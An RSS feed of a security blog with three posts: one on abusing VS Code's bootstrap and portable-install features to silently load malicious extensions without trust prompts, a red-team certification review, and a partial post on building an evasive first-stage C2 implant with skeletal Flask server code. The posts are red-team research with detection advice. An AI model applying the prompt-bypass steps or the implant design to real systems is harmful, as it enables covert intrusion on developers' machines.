<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Cas van Cooten</title><link>https://casvancooten.com/posts/</link><description>Recent content in Posts on Cas van Cooten</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><copyright>&lt;a href="https://creativecommons.org/licenses/by-nc/4.0/" target="_blank" rel="noopener">CC BY-NC 4.0&lt;/a></copyright><lastBuildDate>Thu, 27 Feb 2025 00:00:00 +0000</lastBuildDate><atom:link href="https://casvancooten.com/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Abusing VS Code's Bootstrapping Functionality To Quietly Load Malicious Extensions</title><link>https://casvancooten.com/posts/2025/02/abusing-vs-codes-bootstrapping-functionality-to-quietly-load-malicious-extensions/</link><pubDate>Thu, 27 Feb 2025 00:00:00 +0000</pubDate><guid>https://casvancooten.com/posts/2025/02/abusing-vs-codes-bootstrapping-functionality-to-quietly-load-malicious-extensions/</guid><description>&lt;p>Wow, been a while since my last blog 😅. During some research I came across a technique variation which I felt was interesting enough to share in a brief blog post. It relates to how the bootstrapping functionality in VS Code can be abused to quietly load plugins - it may come in handy during your initial access adventures!&lt;/p>
&lt;h2 id="the-threat-of-vs-code-extensions">The Threat of VS Code Extensions&lt;/h2>
&lt;p>It&amp;rsquo;s no secret that the popularity of VS Code brings a lot of risk exposure in the form of its plugin system. &lt;a href="https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/">Threat actors&lt;/a> and &lt;a href="https://www.bleepingcomputer.com/news/security/malicious-vscode-extensions-with-millions-of-installs-discovered/">researchers&lt;/a> alike have been happily &lt;a href="https://arxiv.org/html/2411.07479v1">abusing it&lt;/a> to &lt;a href="https://www.reversinglabs.com/blog/malicious-helpers-vs-code-extensions-observed-stealing-sensitive-information">target developers&lt;/a> - &lt;a href="https://www.bleepingcomputer.com/news/security/vscode-extensions-with-9-million-installs-pulled-over-security-risks/">even your favorite dark theme is not safe&lt;/a>.&lt;/p></description><content type="html"><![CDATA[<p>Wow, been a while since my last blog 😅. During some research I came across a technique variation which I felt was interesting enough to share in a brief blog post. It relates to how the bootstrapping functionality in VS Code can be abused to quietly load plugins - it may come in handy during your initial access adventures!</p>
<h2 id="the-threat-of-vs-code-extensions">The Threat of VS Code Extensions</h2>
<p>It&rsquo;s no secret that the popularity of VS Code brings a lot of risk exposure in the form of its plugin system. <a href="https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/">Threat actors</a> and <a href="https://www.bleepingcomputer.com/news/security/malicious-vscode-extensions-with-millions-of-installs-discovered/">researchers</a> alike have been happily <a href="https://arxiv.org/html/2411.07479v1">abusing it</a> to <a href="https://www.reversinglabs.com/blog/malicious-helpers-vs-code-extensions-observed-stealing-sensitive-information">target developers</a> - <a href="https://www.bleepingcomputer.com/news/security/vscode-extensions-with-9-million-installs-pulled-over-security-risks/">even your favorite dark theme is not safe</a>.</p>
<p>Of course, this type of threat is inherent to allowing untrusted (or <em>semi-trusted?</em>) code to run within a trusted process. As attackers, it&rsquo;s very enticing to be able to run our own code inside of the trusted, signed, and highly prevalent process &ldquo;Code.exe&rdquo;. This process is also known to perform a variety of activities, like call out to the Internet, spawn shells as child processes, and continually interact with local and remote filesystems. This makes it hard for defenders to fingerprint what constitutes benign versus malicious behavior, and by extension makes it easier for us as attackers to &ldquo;blend in&rdquo; with the noise.</p>
<p>Creating malicious Code extensions is outside of the scope of this post. However, creating custom VS Code extensions is easy, the team even has a great <a href="https://code.visualstudio.com/api/get-started/your-first-extension">getting started guide</a> for it. You&rsquo;ll manage. 😉</p>
<h2 id="vs-code-extensions-for-initial-access">VS Code Extensions for Initial Access</h2>
<p>(Un)fortunately, getting a malicious plugin installed is not as arbitrary as it may seem. Clearly, the VS Code team is aware of this threat, and a <a href="https://code.visualstudio.com/docs/editor/extension-runtime-security">number of measures</a> are taken to reduce the risk of a malicious extension inadvertently being installed. There are however several ways of increasing the likelihood of a successful installation: the team over at MDSec has an excellent <a href="https://www.mdsec.co.uk/2023/08/leveraging-vscode-extensions-for-initial-access/">blog post highlighting various delivery techniques including the VS Code URL handler</a> that still work today. Even so, getting a user to install your plugin triggers various prompts that require some clever social engineering to navigate. In the recent January release, the VS Code team <a href="https://code.visualstudio.com/updates/v1_97#_trusting-extension-publishers">added yet another prompt</a> that needs to be accepted for every plugin publisher:</p>
<p><img src="/images/vscode-publishertrust.png" alt="VS Code&rsquo;s new &ldquo;Publisher Trust&rdquo; prompt"></p>
<h2 id="vs-codes-bootstrap-feature">VS Code&rsquo;s &ldquo;Bootstrap&rdquo; Feature</h2>
<p>However, there is a trick to get around these prompts and quietly install your plugin. This trick comes in the form of VS Code&rsquo;s bootstrapping functionality, which enables enterprise users to <a href="https://code.visualstudio.com/docs/setup/enterprise#_set-up-vs-code-with-preinstalled-extensions">install new instances of VS Code with pre-packaged extensions</a>. As the documentation describes, bootstrapping a new install of VS Code is as simple as creating a <code>./bootstrap/extensions</code> folder within your VS Code installation directory and dropping the <code>.vsix</code> (extension) files in there. This installs the extension(s) on first boot, bypassing any prompts (including the new publisher trust prompt). This has the added benefit of not requiring the extension to originate from the marketplace, which is obviously a great thing when deploying malicious extensions as it bypasses the need for publisher or security checks.</p>
<p><img src="/images/vscode-bootstrapextensionfile.png" alt="Easy as dropping a file in the VS Code directory!"></p>
<p>However, there is an issue with this method. While it works well for a &ldquo;Bring-Your-Own&rdquo; installation of VS Code, it does <em>not</em> work on systems where VS Code is already installed. This is because the ExtensionsInitializer (<a href="https://github.com/microsoft/vscode/blob/main/src/vs/code/electron-utility/sharedProcess/contrib/defaultExtensionsInitializer.ts">source</a>) stores a value in the <code>StorageTarget.Machine</code> field, which is machine-specific (on Windows it equates to <code>%AppData%\Code</code>). This field ensures the ExtensionsInitializer only runs on first boot, meaning we are out of luck if the key is set on subsequent runs. Or are we?</p>
<blockquote>
<p><strong>Note:</strong> Removing the <code>%AppData%\Code</code> directory does &ldquo;reset&rdquo; the settings in <code>StorageTarget.Machine</code>, and makes it so the bootstrap functionality works even for users who have extensions configured in their user profile (which is typically in <code>%USERPROFILE%\.vscode</code>), merging the bootstrapped extensions with their own. However, this directory contains other important configuration data such as the <code>settings.json</code> file, so taking this approach is not recommended. If you want to persist within a user&rsquo;s existing profile, backdooring the user&rsquo;s <code>extensions.json</code> is probably the better route.</p></blockquote>
<h2 id="making-it-portable">Making It Portable</h2>
<p>To bootstrap extensions on a machine where VS Code is already installed and initialized, we can (ab)use VS Code&rsquo;s &ldquo;portable&rdquo; functionality. As described on <a href="https://code.visualstudio.com/docs/editor/portable">this page</a>, a VS Code installation becomes portable simply when a <code>./data</code> directory exists within it. If this is the case, it will use this directory to store both user AND machine preferences. This means that if this directory is empty, VS Code will assume it is a new installation and trigger the bootstrapping process!</p>
<p>This unlocks a variety of attack scenarios that could be interesting for initial access or persistence. An attacker could use the legitimate VS Code installation zip (or bring their own), and simply inject the <code>./data</code> and <code>./bootstrap/extensions</code> directories to silently install and run the malicious extension. Alternatively, bootstrapping could be abused to inject an extension in the user&rsquo;s existing VS Code installation (see caveat below), then use the extension to restore the user&rsquo;s normal environment. All without any prompts or warnings!</p>
<p><img src="/images/vscode-extensioninstalled.png" alt="We all know message boxes are the real impact 😎"></p>
<blockquote>
<p><strong>Note:</strong> In my testing it was not possible to simply create a <code>./data</code> directory in the default VS Code installation folder to convert it to a portable install. Analyzing the portability source code (<a href="https://github.com/microsoft/vscode/blob/bd4ab867f9ca31105f05032cf09edbce31fc6fe3/src/bootstrap-node.ts#L163">source</a>), this appears to be because the following value evaluates to <code>False</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-typescript" data-lang="typescript"><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">const</span> isPortable = !(<span style="color:#ed9d13">&#39;target&#39;</span> <span style="color:#6ab825;font-weight:bold">in</span> product) &amp;&amp; fs.existsSync(portableDataPath);
</span></span></code></pre></div><p>Analyzing the flow of the logic, we can see that the <code>product</code> object is instantiated from the <code>product.json</code> file (<a href="https://github.com/microsoft/vscode/blob/main/src/bootstrap-meta.ts#L13">source</a>), which exists in the <code>./resources/app</code> folder in the installation folder. For installations that were done using the installer, this file will have a value like like <code>&quot;target&quot;: &quot;user&quot;</code>, which effectively ignores our bootstrapping.</p>
<p>We can confirm that this is the case by removing the <code>&quot;target&quot;</code> line in <code>product.json</code>, and attempting to bootstrap the installation directory again. Now the bootstrapping works, and we can bootstrap into an existing VS code installation!</p></blockquote>
<h2 id="prevention-and-detection">Prevention and Detection</h2>
<p>VS Code outlines how you can <a href="https://code.visualstudio.com/docs/setup/enterprise#_group-policy-on-windows">use Windows Group Policy to configure various settings</a>, including <a href="https://code.visualstudio.com/docs/setup/enterprise#_configure-allowed-extensions">allowed extensions</a>. Doing so allows you to specify certain publishers, extensions, or even extension versions that will be allowed in your organization. This does require some setup and maintenance, but it is probably the best line of defense against all sorts of plugin-based attacks. Unfortunately there are no filters for extension prevalence or verified publishers, but the VS Code team states they are <a href="https://code.visualstudio.com/docs/setup/enterprise#_additional-policies">open to suggestions</a> if that&rsquo;s a need for your organization.</p>
<p>Now, I&rsquo;m no expert in terms of detection, but it seems to me like the behavior of VS Code is pretty hard to fingerprint due to the broad spectrum of use cases it has. As such, detecting uncommon child processes of <code>Code.exe</code> for example may be quite challenging - it&rsquo;s very common for Code to be spawning shells after all. Avenues of detection may be the following:</p>
<ul>
<li>Creation of a <code>./bootstrap/extensions</code> folder inside an existing VS Code installation directory</li>
<li>Creation of a <code>./data</code> folder inside an existing VS Code installation directory</li>
<li>Execution of <code>Code.exe</code> from a non-default installation directory</li>
<li>Creation of any <code>*.vsix</code> files from a non-Code process</li>
</ul>
<p><em>(Suggestions welcome! Feel free to share any ideas and I&rsquo;ll add them to this blog post)</em></p>
]]></content></item><item><title>So You Wanna Hack a Bank? 'Global Central Bank' (PACES) Certification Review</title><link>https://casvancooten.com/posts/2021/10/so-you-wanna-hack-a-bank-global-central-bank-paces-certification-review/</link><pubDate>Tue, 05 Oct 2021 00:00:00 +0000</pubDate><guid>https://casvancooten.com/posts/2021/10/so-you-wanna-hack-a-bank-global-central-bank-paces-certification-review/</guid><description>&lt;p>&lt;em>Updated &lt;strong>February 13th, 2023&lt;/strong>: The PACES certification has been renamed to &amp;lsquo;Certified Red Team Master&amp;rsquo; (CRTM) and is now licensed by AlteredSecurity instead of PentesterAcademy, this blog post has been updated to reflect.&lt;/em>&lt;/p>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>The &lt;a href="https://www.alteredsecurity.com/gcb">&amp;ldquo;Global Central Bank&amp;rdquo; (GCB)&lt;/a> labs and accompanying &amp;ldquo;Certified Red Team Master&amp;rdquo; (CRTM) certification are definitely something else. It is more or less the &amp;ldquo;level-up&amp;rdquo; from the respective &lt;a href="https://www.alteredsecurity.com/adlab">&amp;ldquo;Attacking and Defending Active Directory&amp;rdquo; (CRTP)&lt;/a> and &lt;a href="https://www.alteredsecurity.com/redteamlab">&amp;ldquo;Windows Red Team Lab&amp;rdquo; (CRTE)&lt;/a> courses, also provided by AlteredSecurity. GCB is the hardest of the three, so if you&amp;rsquo;re looking for more beginner-friendly material, you&amp;rsquo;re probably better off reading &lt;a href="https://casvancooten.com/posts/2020/10/getting-the-crtp-certification-attacking-and-defending-active-directory-course-review/">my blog post on CRTP&lt;/a> instead.&lt;/p></description><content type="html"><![CDATA[<p><em>Updated <strong>February 13th, 2023</strong>: The PACES certification has been renamed to &lsquo;Certified Red Team Master&rsquo; (CRTM) and is now licensed by AlteredSecurity instead of PentesterAcademy, this blog post has been updated to reflect.</em></p>
<h2 id="introduction">Introduction</h2>
<p>The <a href="https://www.alteredsecurity.com/gcb">&ldquo;Global Central Bank&rdquo; (GCB)</a> labs and accompanying &ldquo;Certified Red Team Master&rdquo; (CRTM) certification are definitely something else. It is more or less the &ldquo;level-up&rdquo; from the respective <a href="https://www.alteredsecurity.com/adlab">&ldquo;Attacking and Defending Active Directory&rdquo; (CRTP)</a> and <a href="https://www.alteredsecurity.com/redteamlab">&ldquo;Windows Red Team Lab&rdquo; (CRTE)</a> courses, also provided by AlteredSecurity. GCB is the hardest of the three, so if you&rsquo;re looking for more beginner-friendly material, you&rsquo;re probably better off reading <a href="https://casvancooten.com/posts/2020/10/getting-the-crtp-certification-attacking-and-defending-active-directory-course-review/">my blog post on CRTP</a> instead.</p>
<p>AlteredSecurity calls GCB a &ldquo;Cyber Range&rdquo; rather than a course, and I definitely have to agree with them. The labs are the main focus of the course, followed by the certification exam. There is not much courseware included, the participant is only provided with 9 videos (totaling 3 hours) covering certain topics that are relevant in the labs. These videos only serve as a primer, as you will for sure have to do your own research when tackling the labs (or the &ldquo;Cyber Range&rdquo; if you&rsquo;re into that business lingo 😉).</p>
<h2 id="the-labs">The Labs</h2>
<p>The labs make up the bulk of the certification, and it is without a shadow of a doubt where the value lies. The lab environment is immense, covering 26 machines spread out over 9 Active Directory domains in 7 forests. The focus of the labs is exploitation of modern and hardened Windows and Active Directory environments. It is designed to be exploited manually through the RDP foothold that you get, but it&rsquo;s doable (and very fun) to do with a C2 framework as well.</p>
<p>In the labs, you will encounter a whole range of modern (security) technologies. You will come across technologies with spooky acronyms such as Local Administrator Password Solution (LAPS),  Just Enough Administration (JEA), Windows Defender Application Control (WDAC), Attack Surface Reduction (ASR), Application Whitelisting (AWL), Windows Server Update Services (WSUS), Hyper-V &amp; Windows Subsystem for Linux (WSL), and Credential Guard (CG). Besides that, you will see &ldquo;the usual&rdquo; AD trickery, including delegation abuse, misconfigured privileges or ACL, roasting attacks, etcetera.</p>
<p>All of the above is packed into an environment that reflects that of a large and mature enterprise. A major component of this is strict firewalling, which restricts traffic between (and sometimes within) forests. It is up to you to find the holes in the firewall and jump the forest boundary by exploiting the technologies outlined above. In short: lots of fun!</p>
<p>Of course, a lab of this magnitude doesn&rsquo;t come without flaws. Several exploitation steps in the lab feel contrived and designed to showcase certain technologies, rather than mimicking real enterprise environments. This includes the firewall rules in the lab, that often feel overly restrictive to the point where it doesn&rsquo;t make much sense (for example a firewalled server that can reach port 80 on your foothold machine 🤔). This results in some nasty situations where you have to blindly guess which ports will be open for a reverse connection. For some steps, you also have to make other blind assumptions (e.g. phishing payloads), which can become frustrating at times.</p>
<p>Additionally, the lab only has one final objective. There is no split into sub-objectives or challenges like there is with CRTP and CRTE, for example. While this has the advantage of making the lab more &ldquo;free-form&rdquo;, it also sometimes makes it a bit too unclear what the next step will be. Solid enumeration and post-exploitation methodology definitely helps gather the information that you need, but this also involves port-scanning a /16 IP range with ICMP disabled over VPN which is definitely not fun.</p>
<p>Despite these occasional frustrations, though, the labs are very challenging and fun to do. The numerous exploitation steps are diverse and very satisfying to complete. The lab is far from easy, and you will definitely have to ask for hints at various points (I know I did). If you are looking for a challenge lab that mimics a large enterprise environment and showcases a lot of modern technologies, the GCB labs are it.</p>
<h2 id="the-exam">The Exam</h2>
<p>The CRTM certification exam is different from a lot of other course exams in that it includes two parts. The first part is compromising several machines across multiple forests by getting low- or high-privileged command execution. The second part is fixing the vulnerabilities you identified, as well as implementing some &lsquo;client requirements&rsquo; that are shared in advance. In total, you get 48 hours to complete the practical part, and 48 hours after that to hand in your report.</p>
<p>Given all of the exciting stuff covered in the labs, the exploitation part of the exam felt a bit bland. The exploitation steps are way easier than those in the labs, and not as much fancy technologies are brought out to play. Because of this, it feels more or less the same as the CRTP or CRTE exams, where you use your low-privileged RDP foothold to escalate your privileges and move laterally (not necessarily in that order), as well as jump the forest boundary by abusing AD misconfigurations.</p>
<p>The mitigation part however was a lot of fun to do. Fixing vulnerabilities is definitely not something I&rsquo;m used to doing, so it was a nice change of pace from the other certs I&rsquo;ve done. For this part of the exam you will be rummaging around on target computers and domain controllers to patch the issues you identified and implement some specific features as requested by the &ldquo;client&rdquo;. Nothing you do in this part of the exam will be very hard, but it will definitely help solidify your understanding of certain technologies.</p>
<p>To achieve the CRTM certification, an exam report has to be submitted. This report should extensively discuss both the exploitation and mitigation parts in such a way that your thought process is clear and your steps are reproducible. I (again) used a similar approach to the one described in <a href="https://casvancooten.com/posts/2020/05/generating-pretty-pwk-reports-with-pandoc-and-markdown-templates-inside/">this blog post</a>, drafting my exploitation and remediation notes in Markdown and converting them to a pretty report after completing the exam. This way, creating the exam report didn&rsquo;t cost a lot of time beyond the hours spent in the labs.</p>
<p>In total, I spent about 8 hours in the exam labs for the exploitation and remediation parts, and compiling the report took me approximately two more hours on top of that. I can see some rabbit holes taking more time, but 48 hours for the practical part of the exam should be more than plenty in most cases!</p>
<h2 id="the-verdict">The Verdict</h2>
<p>Overall, the exam was fun to do but the offensive part was a bit of a letdown. It feels like the exam could have been quite a bit more challenging if the requirement &ldquo;you have to fix everything you abuse&rdquo; was dropped. The main part of GCB is for sure the labs, and because of that I&rsquo;m not sure if the CRTM certification &ldquo;proves&rdquo; a lot of skill if one didn&rsquo;t complete the labs. Overall though, GCB is very fun to do and the CRTM certification is a nice cherry on top. Let&rsquo;s see if AlteredSecurity will come up with an even more challenging lab in the future (looking at you Nikhil 😁)!</p>
]]></content></item><item><title>Building a C2 Implant in Nim - Considerations and Lessons Learned</title><link>https://casvancooten.com/posts/2021/08/building-a-c2-implant-in-nim-considerations-and-lessons-learned/</link><pubDate>Wed, 25 Aug 2021 00:00:00 +0000</pubDate><guid>https://casvancooten.com/posts/2021/08/building-a-c2-implant-in-nim-considerations-and-lessons-learned/</guid><description>&lt;h2 id="nim-for-offensive-security">Nim for offensive security&lt;/h2>
&lt;p>For a while now I have been playing with the programming language &lt;a href="https://nim-lang.org/">Nim&lt;/a> in the context of Offensive Security. Nim is a relatively young and fairly unknown programming language that has a syntax quite similar to Python&amp;rsquo;s, so is very easy to pick up. It however offers the flexibility and low-level capabilities of languages like C/C++, and has a great foreign function interface. On top of that, it compiles to native C (as well as some other languages), which results in native binaries that are quite slim. This makes it very suitable for malware development, especially for scrubs that are too scared of C/C++ to write any proper program in those languages (like me!).&lt;/p></description><content type="html"><![CDATA[<h2 id="nim-for-offensive-security">Nim for offensive security</h2>
<p>For a while now I have been playing with the programming language <a href="https://nim-lang.org/">Nim</a> in the context of Offensive Security. Nim is a relatively young and fairly unknown programming language that has a syntax quite similar to Python&rsquo;s, so is very easy to pick up. It however offers the flexibility and low-level capabilities of languages like C/C++, and has a great foreign function interface. On top of that, it compiles to native C (as well as some other languages), which results in native binaries that are quite slim. This makes it very suitable for malware development, especially for scrubs that are too scared of C/C++ to write any proper program in those languages (like me!).</p>
<p>My early work in Nim was <em>very</em> inspired by <a href="https://twitter.com/byt3bl33d3r">byt3bl33d3r</a> and his <a href="https://github.com/byt3bl33d3r/OffensiveNim">OffensiveNim</a> repository. In getting started, this repository is a true goldmine of code snippets and examples that you might need. It has examples on execution methods, integration with the Windows API, bypasses, and some other great malware tricks. Inspired by this repository I started to work on a malware packer/dropper, that could both execute raw shellcode and .NET binaries in a way that evades AV and most EDRs. Dubbed <strong>NimPackt</strong>, this project turned out quite well and is actively used in our red team operations to generate evasive binaries. Though that means I want to avoid sharing the full source code to prevent fingerprinting for now, I might do a blog post about it one day (if there&rsquo;s enough interest).</p>
<p>If you want to get started with malware development in Nim yourself, I can recommend <a href="https://huskyhacks.dev/2021/07/17/nim-exploit-dev/">this blog post</a> by <a href="https://twitter.com/HuskyHacksMK">HuskyHacks</a>, which explains how to set up a Nim development environment and build your first process injector using Nim. Beyond that, the OffensiveNim repository linked above should definitely help you build more advanced tools.</p>
<h2 id="why-another-c2">Why another C2?!</h2>
<p>Command and Control (C2) frameworks have been popping up left and right in the offensive security tooling landscape. On a high level, a C2 allows you to communicate with malware implants remotely, typically in a client-server type of architecture. The C2 channel, as well as the type of implant and functionality, can differ wildly per C2 framework. Most frameworks are however designed to be flexible and extensible, and can be adapted to your needs. Some frameworks are commercial and closed-source (Cobalt Strike), but there are many open-source alternatives available. A good overview of solutions and capabilities is provided in <a href="https://www.thec2matrix.com/matrix">the C2 matrix</a>.</p>
<p>If there are so many free and flexible C2 frameworks, why build another one? Good question, reader! I&rsquo;m sure that my goals (see next section) could&rsquo;ve been achieved by extending or modifying an open-source framework. However, adapting or extending an existing framework requires you to thoroughly understand the framework and its features, which requires a significant time investment either way. Additionally, the downside of open-source tooling is that defenders have the same access to it as us red-colored folk do - therefore it tends to be quickly fingerprinted.</p>
<p><em>As much as I would like to open-source Nimplant, I cannot do that just yet for this reason. I will try my best to share the most interesting code snippets so you can build your own (or work on detection rules 👀). Once we &ldquo;retire&rdquo; Nimplant from production use, I will make sure to open-source it.</em></p>
<p>Building your own C2, on the other hand, brings a couple of advantages. First and foremost it is a fun learning project which allows you to challenge yourself to explore the edges of your ability. Additionally, building your own C2 allows you full control over the tactics, techniques, and procedures (TTPs) applied in your framework, and by extension the indicators of compromise (IOCs) that you will leave in your client&rsquo;s environment. Though it comes at the cost of a sizeable time investment, this was enough for me to &ldquo;roll&rdquo; my own C2 in Nim.</p>
<h2 id="introducing-nimplant---a-lightweight-implant-and-c2-framework">Introducing Nimplant - a lightweight implant and C2 framework</h2>
<p><img src="/images/nimplant-logo.png" alt="Nimplant Logo"></p>
<p>With all that out of the way, let&rsquo;s get to the meat &rsquo;n&rsquo; potatoes of this post - <strong>Nimplant</strong>! Nimplant is what I dubbed the C2, obviously (and very unoriginally) because of the implant written in Nim. As it turns out, I wasn&rsquo;t the first with this idea&hellip;</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Ironically I also built a stage 0 implant in nim called nimplant 😆 never quite finished it tho, as with many projects 🤣 UIs looking sharp 😎</p>&mdash; Dominic Chell 👻 (@domchell) <a href="https://twitter.com/domchell/status/1414267057617739782?ref_src=twsrc%5Etfw">July 11, 2021</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Nimplant is meant for use as a first-stage implant. This means that it is typically used for an initial infection, before dropping more elaborate malware such as a Cobalt Strike beacon. This use case poses a couple of requirements for the implant:</p>
<ul>
<li>It has to be <strong>lightweight</strong>. Operators should for example be able to drop it through a macro-enabled Office document, without arousing too much suspicion (looking at you Go, with your 5MB binaries&hellip;).</li>
<li>It has to be <strong>evasive</strong>. Stage-1 implants are commonly used when little is known about a target environment - including which defensive products are in use. As such, the implant should be able to evade most common defensive products without much adaptation.</li>
<li>It has to be <strong>functional</strong>. At the very minimum, the implant needs to be able to collect information about a target environment to aid in further operations, such as the domain name and any defensive products that are in use. Preferably, the implant should also allow an operator to deploy further malware stages without the need for re-infection (i.e. phishing a second time).</li>
</ul>
<p>Nimplant was designed to fulfil these requirements as efficiently as possible. The design philosophy of Nimplant is quite simple: <strong>&ldquo;evasion through benign functionality&rdquo;</strong>. Many implants have functionality to aid with further exploitation and evasion, such as the option to inject shellcode into other processes, or the usage of direct syscalls to evade defenses. While very useful in practice, employing functionality like this greatly increases the risk of detection.</p>
<p>The idea behind Nimplant is to only allow functionality that is considered benign and could be applied by legitimate (remote access) tooling. So no shellcode executions, but basic filesystem, WMI, and registry operations instead. This will allow operators to collect the information they need, as well as give them the flexibility to drop further malware or persistence (e.g. through registry run-keys, DLL sideloading, or the classic startup folder). While this limits some of the possibilities for in-memory execution and evasion tradecraft, this is considered an &ldquo;accepted risk&rdquo; for the intents and purposes of Nimplant. This also opens up some possible avenues for detection, which I will discuss towards the end of this post.</p>
<p>Of course, any tool that we deploy in a client&rsquo;s environment needs to adhere to the highest standards for operational security (&ldquo;opsec&rdquo;). This is especially true since the implant will communicate with a server over the internet - you don&rsquo;t want to inadvertently leak sensitive information on the client&rsquo;s environment out to the internet! Some measures related to opsec are listed in the following sections.</p>
<h2 id="the-tech-stuff">The Tech Stuff!</h2>
<p>While all of the above sounds pretty nice, I&rsquo;m sure you didn&rsquo;t come to this blog post for just talk about some theoretical C2 implant. In this section, I will share some of the more interesting technical details of Nimplant, as well as some of the mistakes that I made during development (so you don&rsquo;t have to).</p>
<p>Like most typical C2, Nimplant functions in a client-server architecture over HTTP(S). Because the implant and server are two components that are quite distinct, we will review both separately.</p>
<h3 id="the-c2-server">The C2 Server</h3>
<p>Though I&rsquo;ve been raving about Nim for most of this post, I built the actual C2 server in Python. Reason for this is I&rsquo;m much more comfortable with Python overall, and it&rsquo;s quite a bit more mature as a language than Nim. Though Nim has the several advantages listed earlier in this post, these advantages are less applicable for the server component as it will not be compiled and/or deployed within the client&rsquo;s environment.</p>
<p>For the web server, I went with Python&rsquo;s <a href="https://palletsprojects.com/p/flask/">Flask</a> framework. Flask is very easy to pick up, and makes it easy to expose endpoints with a variety of functionality. In reality there are two Flask servers running, one supporting the Nimplant listener and one supporting the GUI (see below). At a very high level, the Flask server for Nimplant listener looks like this.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Define a new Flask server to run in its own thread</span>
</span></span><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">def</span> <span style="color:#447fcf">flaskListener</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#ffa500">@app.route</span>(registerPath, methods=[<span style="color:#ed9d13">&#39;GET&#39;</span>, <span style="color:#ed9d13">&#39;POST&#39;</span>])
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">def</span> <span style="color:#447fcf">getNimplant</span>():
</span></span><span style="display:flex;"><span>        <span style="color:#999;font-style:italic"># This endpoint is used for Nimplant registration.</span>
</span></span><span style="display:flex;"><span>				<span style="color:#999;font-style:italic"># If a Nimplant matches expected properties, the key exchange will happen.</span>
</span></span><span style="display:flex;"><span>				<span style="color:#999;font-style:italic"># After that, Nimplant will submit it&#39;s (encrypted) registration info.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#ffa500">@app.route</span>(taskPath, methods=[<span style="color:#ed9d13">&#39;GET&#39;</span>])
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">def</span> <span style="color:#447fcf">getTask</span>():
</span></span><span style="display:flex;"><span>				<span style="color:#999;font-style:italic"># This endpoint is used to communicate tasks to Nimplant.</span>
</span></span><span style="display:flex;"><span>				<span style="color:#999;font-style:italic"># It will verify integrity, then return an encrypted task (if available).</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#ffa500">@app.route</span>(resultPath, methods=[<span style="color:#ed9d13">&#39;POST&#39;</span>])
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">def</span> <span style="color:#447fcf">getResult</span>():
</span></span><span style="display:flex;"><span>        <span style="color:#999;font-style:italic"># This endpoint retrieves and parses encrypted results from Nimplant.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    app.run(host=listenerIp, port=listenerPort)
</span></span></code></pre></div><p>You will notice that the actual addresses of endpoints (e.g. <code>www.yourc2.com/register</code>), as well as the server IP and port, are configurable. These properties are parsed from the <code>config.toml</code> file, which is shared between a C2 server and its Nimplants. Because this configuration file is shared, it allows the server to perform integrity checks based on the properties of incoming web requests, such as the User-Agent or HTTP headers. Unexpected requests are dropped, making it harder for incident responders to actually interact with the C2 server.</p>
<p>Special attention should be paid to the initial key exchange, which happens when a Nimplant first checks in. Since every Nimplant has a unique encryption key associated with it, the server shares this key as part of the <code>getNimplant()</code> function. We don&rsquo;t want to transmit this key in plain-text, even if HTTPS is used. This is because we operate under the assumption that our client has insight into their network traffic by means of a web proxy or similar device that allows for SSL inspection (which is true for most mature clients). As such, the initial key exchange itself is encrypted with a key that is established when the Nimplant is first generated. After this exchange, Nimplant will use its unique key to AES-encrypt all subsequent traffic.</p>
<p>The C2 server will keep track of Nimplants through the use of classes - every Nimplant corresponds to one instance of the <code>Nimplant</code> class, which has a variety of properties for Nimplant. A snippet of the class, along with some of its helper functions, is as follows.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">class</span> <span style="color:#447fcf;text-decoration:underline">NimPlant</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># Initialize a new Nimplant object, use data from config where applicable</span>
</span></span><span style="display:flex;"><span>    newId = itertools.count(start=<span style="color:#3677a9">1</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">def</span> __init__(self):
</span></span><span style="display:flex;"><span>        self.id = <span style="color:#24909d">str</span>(<span style="color:#24909d">next</span>(self.newId))
</span></span><span style="display:flex;"><span>        self.guid = <span style="color:#ed9d13">&#39;&#39;</span>.join(random.choice(string.ascii_letters + string.digits) <span style="color:#6ab825;font-weight:bold">for</span> i <span style="color:#6ab825;font-weight:bold">in</span> <span style="color:#24909d">range</span>(<span style="color:#3677a9">8</span>))
</span></span><span style="display:flex;"><span>        self.active = <span style="color:#6ab825;font-weight:bold">False</span>
</span></span><span style="display:flex;"><span>        self.ipAddrExt = <span style="color:#6ab825;font-weight:bold">None</span>
</span></span><span style="display:flex;"><span>        self.ipAddrInt = <span style="color:#6ab825;font-weight:bold">None</span>
</span></span><span style="display:flex;"><span>        self.username = <span style="color:#6ab825;font-weight:bold">None</span>
</span></span><span style="display:flex;"><span>        self.hostname = <span style="color:#6ab825;font-weight:bold">None</span>
</span></span><span style="display:flex;"><span>        self.osBuild = <span style="color:#6ab825;font-weight:bold">None</span>
